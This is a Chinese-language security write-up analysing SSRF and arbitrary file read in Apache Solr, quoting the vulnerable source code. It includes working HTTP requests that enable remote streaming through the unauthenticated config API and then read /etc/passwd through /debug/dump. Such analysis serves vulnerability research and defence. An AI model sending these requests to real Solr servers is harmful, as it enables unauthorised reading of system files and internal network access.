solr任意文件读取与SSRF漏洞分析
漏洞描述
solr默认安装未开启身份验证,攻击者可未授权通过config api修改配置,导致ssrf和任意文件读取。
漏洞分析
- SSRF
漏洞代码块
https://github.com/apache/solr/blob/main/solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java 198~210行
String[] strs = params.getParams( CommonParams.STREAM_URL );
if( strs != null ) {
if( !enableRemoteStreams ) {
throw new SolrException( ErrorCode.BAD_REQUEST, "Remote Streaming is disabled." );
}
for( final String url : strs ) {
ContentStreamBase stream = new ContentStreamBase.URLStream( new URL(url) );
if( contentType != null ) {
stream.setContentType( contentType );
}
streams.add( stream );
}
}
这里获取stream.url参数并调用了URLStream,跟进URLStream,发现其getStream()方法与url建立了连接,导致ssrf漏洞
public InputStream getStream() throws IOException {
URLConnection conn = this.url.openConnection();
contentType = conn.getContentType();
name = url.toExternalForm();
size = conn.getContentLengthLong();
InputStream is = conn.getInputStream();
String urlFile = url.getFile().toLowerCase(Locale.ROOT);
if( "gzip".equals(conn.getContentEncoding()) || urlFile.endsWith( ".gz" ) || urlFile.endsWith( ".gzip" )){
is = new GZIPInputStream(is);
}
return is;
}
- 任意文件读取
同样在SolrRequestParsers.java中,第213~225行
strs = params.getParams( CommonParams.STREAM_FILE );
if( strs != null ) {
if( !enableRemoteStreams ) {
throw new SolrException( ErrorCode.BAD_REQUEST, "Remote Streaming is disabled. See http://lucene.apache.org/solr/guide/requestdispatcher-in-solrconfig.html for help" );
}
for( final String file : strs ) {
ContentStreamBase stream = new ContentStreamBase.FileStream( new File(file) );
if( contentType != null ) {
stream.setContentType( contentType );
}
streams.add( stream );
}
}
和SSRF代码类似,这里调用的是ContentStreamBase.FileStream,跟进去发现就是文件读取,没有任何过滤
public InputStream getStream() throws IOException {
InputStream is = new FileInputStream( file );
String lowerName = name.toLowerCase(Locale.ROOT);
if(lowerName.endsWith(".gz") || lowerName.endsWith(".gzip")) {
is = new GZIPInputStream(is);
}
return is;
}
漏洞复现
stream_url和stream_file这两个Remote Streaming必须通过requestDispatcher.requestParsers.enableRemoteStreaming开启后才能够使用。
默认requestDispatcher.requestParsers.enableRemoteStreaming没有开打,我们先通过如下api获取core
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
这里core是test
调用api开启requestDispatcher.requestParsers.enableRemoteStreaming,请求如下:
POST /solr/test/config HTTP/1.1
Host: 192.168.247.131:8983
Content-Length: 83
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.247.131:8983
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.247.131:8983/solr/test/config
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
开启后寻找某个路径进行利用
SolrRequestParsers.java在解析请求时就被调用
在https://github.com/apache/solr/blob/7ada4032180b516548fc0263f42da6a7a917f92b/solr/core/src/resources/ImplicitPlugins.json 中提供了很多请求路径,其中/debug/dump主要是输出一些请求头和响应头信息,可针对该路径进行利用
POST /solr/test/debug/dump HTTP/1.1
Host: 192.168.247.131:8983
Content-Length: 29
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.247.131:8983
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.247.131:8983/solr/test/debug/dump
Accept-Language: zh-CN,zh;q=0.9
Connection: close
stream.url=file:///etc/passwd
/update/json等也可以进行文件读取,从报错中返回部分文件信息